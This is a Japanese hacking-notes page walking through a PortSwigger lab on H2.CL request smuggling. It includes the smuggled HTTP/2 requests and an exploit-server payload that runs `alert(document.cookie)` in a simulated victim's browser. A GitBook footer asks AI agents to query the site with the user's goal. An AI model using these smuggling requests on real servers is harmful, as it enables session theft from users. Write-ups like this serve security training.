> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/request-smuggling/h2-cl-request-smuggling.md).

# H2.CL リクエストスマグリング

PortSwigger Web Security Academy のラボ向けメモ。H2.CL リクエストスマグリングに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### H2.CL リクエスト・スマグリング

このラボは〜に対して脆弱です **リクエスト・スマグリング** なぜなら、フロントエンドサーバーが〜をダウングレードするからです **HTTP/2** たとえ長さが曖昧であってもリクエストを。

目的は、被害者のブラウザに〜を読み込ませて実行させる攻撃を行うことです **マルウェアの JavaScript ファイル** をエクスプロイトサーバー上でホストし、次を含みます:

```javascript
alert(document.cookie)
```

被害者ユーザーはホームページを毎回訪問します **10秒ごと**.

#### **スマグリングによる 404 の切り替え**

〜を引き起こすには、長さの不整合が必要です **404 Not Found**:

```http
POST / HTTP/2
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 14

test=testing
GET /error/ HTTP/1.1
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 11

test=test
```

#### **アプリケーション動作の分析**

ページは自動的にスクリプトを読み込みます:

`resources/js/analytics.js?uid=3309545055`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-891ea3f240710cfe5aa82acfce9afcfd13318829%2F%7BF62B3C60-F05D-4E6D-87F7-F140517019A5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

このスクリプトはランダムな識別子を生成し、次へクエリを送信します:

```javascript
/analytics?id=<random value>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1a7d73012ac3607cf6d865fe67beccb0816c2364%2F%7BD9860077-F17F-43EA-A3C6-9F38AC3C193D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

関数からの抜粋:

```javascript
function randomString(length, chars) {
    var result = '';
    for (var i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
    return result;
}
var id = randomString(16, '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ');
fetch('/analytics?id=' + id)
```

#### **受け入れられるパスの観察**

〜へのスマグリングされたクエリ:

```http
GET /resources HTTP/1.1
Host: test.com
Content-Length: 11

test=test
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e587ab28f5befefae1e21b4ed5c43b7b4757720c%2F%7BE415EF65-91A1-46D2-8CA6-45BAD213BACA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

は受け入れられます。

一方で、他のパスは受け入れられません。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-83720fb669762d685b9d5dd6dd3faa4e4a202ea9%2F%7BBE9B35B3-50E4-40C7-B98B-9AB38093AD5E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **悪意のあるスクリプトの注入**

私たちはペイロードをエクスプロイトサーバーが提供するファイルに配置します:

* ファイル名: **resources**
* 本文の内容:

```javascript
<script>alert(document.cookie)</script>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c49dc90301826db9d92bb4a758c1778b4c5d6a9d%2F%7BD8286DCB-E2EE-4DD9-B016-FA707D66A69D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

被害者はこのファイルにリダイレクトされ、ブラウザがアラートを実行して、攻撃が成功したことが確認されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-007655840ce8f240b6730b13dbb167711acb9a0a%2F%7BBF87F632-9D21-4148-8EF4-51A8CF572AE1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/request-smuggling/h2-cl-request-smuggling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
